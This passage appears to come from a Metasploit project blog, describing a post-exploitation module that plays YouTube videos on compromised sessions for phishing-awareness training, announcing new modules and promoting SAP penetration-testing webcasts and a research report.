The most obvious use of such a module, of course, is for laughs, as you surprise your victims with sudden Rick Astley or Nyan Cat videos.  However, there is bona fide usefulness here, too. The real reason sinn3r popped this module out is that it makes for a great "payload" for a surprise training session. Imagine that you've kicked off a social engineering campaign against your own userbase, and you've gathered your sessions through straight user error (no exploits, no sneakiness, no nothing).  Now, instead of just handing off a report to your HR department head, you can also, on the spot, conduct some training on the compromised folks by immediately showing them what they did wrong.

 

It's super easy to record instructional videos and slap them up on YouTube; if you use YouTube's privacy settings to mark your video as 'unlisted', they won't get indexed, which makes them about as private as a limited-audience Gists or PasteBins. Not bad, and certainly easier than packing up a whole video payload or setting up your own streaming service.

 

To me, this seems like a pretty powerful mechanism to train naughty users into how to do the right thing. People get inurred to nastygrams from their IT and HR department really quickly, but a sudden 30 second video ad that tells them that what they just did was unsafe behavior can have a more immediate impact, especially if it's entertaining.

 

Finally, full-video post-exploit payloads are a hallmark of Hollywood hacking, as described in the original feature request, so this kind of thing can be really useful for regular training sessions or demos; who cares about passing hashes and dumping session credentials; show me funny cat videos and I'm sure to renew your engagement contract!

 

New Modules

Including those mentioned above, we've got eight new modules this week; six exploits, and two post modules. Four of the six exploits are client-side, which reminds me: Like every year now, we fully expect to see an avalanche of new out-of-the box laptops, desktops, phones, and tablets to hit the Internet Christmas morning. If you've been building out machines for your loved ones, do take a second to confirm that you've got your latest client-side patches all squared away before wrapping them up.

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

SAP applications contain a ton of juicy information, making them a great target for malicious attackers who are after intellectual property, financial statements, credit card data, PII and PHI. Breaching SAP systems opens the door for fraud, sabotage, and industrial espionage.

 

SAP systems have often organically grown and are hard to update, making them a soft target. What's worse, pentesters are often unfamiliar with SAP infrastructures and how to pentest SAP systems. To help with the latter, Rapid7 is hosting some webcasts to introduce penetration testers to some of the key SAP infrastructure components.

 

This week, we're hosting two free webcasts for you to consider:

 

SAP Pentesting: From Zero 2 Hero with Metasploit

 

SAP Nmonkee.png

Dave Hartley aka @nmonkee has recently contributed a number of SAP modules to the Metasploit Framework. In this technical webinar for penetration testers, he is going to present a brief overview of how these modules can be used to go from Zero to Hero to achieve SAPpwnstar status when assessing or encountering SAP systems during engagements. The webcast will provide a very high level overview of common SAP system vulnerabilities and misconfigurations as well as demonstrating how the Metasploit Framework can be leveraged to quickly and easily exploit and compromise misconfigured/vulnerable SAP systems.

 

Dave is a Principal Security Consultant for MWR InfoSecurity and has been working in the IT Industry since 1998. Dave is a published author and has presented his research at several international respected security conferences such as 44CON, BSides, Sec-T, ZACON, DeepSec, T2 etc.

 

There are two showings for this webcast:

 

Become an SAP Pwn Star: Using Metasploit for ERP Security Assessments

 

sap-tod-juan.pngIn this technical webinar for penetration testers, Metasploit developers and security researchers Tod Beardsley and Juan Vazquez from the Metasploit team, give an introduction to SAP for penetration testers. The webcast introduces viewers to the most important components of SAP and gives an overview of Metasploit modules for SAP provided by community contributors. The webinar includes a live demo and time for Q&A.

 

Tod Beardsley is the Engineering Manager at Rapid7 for the Metasploit Project, the world-renowned open source penetration testing platform. He has over twenty years of hands-on security knowledge, reaching back to the halcyon days of 2400 baud textfile BBSes and in-band telephony switching. Since then, he has held IT Ops and IT Security positions in large footprint organizations such as 3Com, Dell, and Westinghouse. Today, he is passionate (some might say militant) about open source software development, open source security research, and data liberation. He can often be found on Freenode IRC and Twitter as "todb."

 

Our second speaker and international hacker of mystery, Juan Vazquez, has been working as a security consultant on both offensive and defensive tasks since 2006. Juan works on the Metasploit project, dividing his time between writing exploits and helping the Metasploit community with their contributions. Juan started contributing to Metasploit 3 years ago as an open source contributor and joined the Rapid7 team in 2011.

 

There are two showings for this webcast:

 

Research Report: SAP Penetration Testing Using Metasploit – How to Protect Sensitive ERP Data

 

Prefer reading to watching a webcast? Check out this in-depth research paper, which explores a number of methods to exploit vulnerabilities within the SAP enterprise resource planning (ERP) system. These methods have been implemented and published in the form of more than 50 modules for Metasploit, a free, open source software for penetration testing.The modules enable companies to test whether their own systems could be penetrated by an attacker.

 

Download SAP Research Report here

Filter Blog

By date: By tag: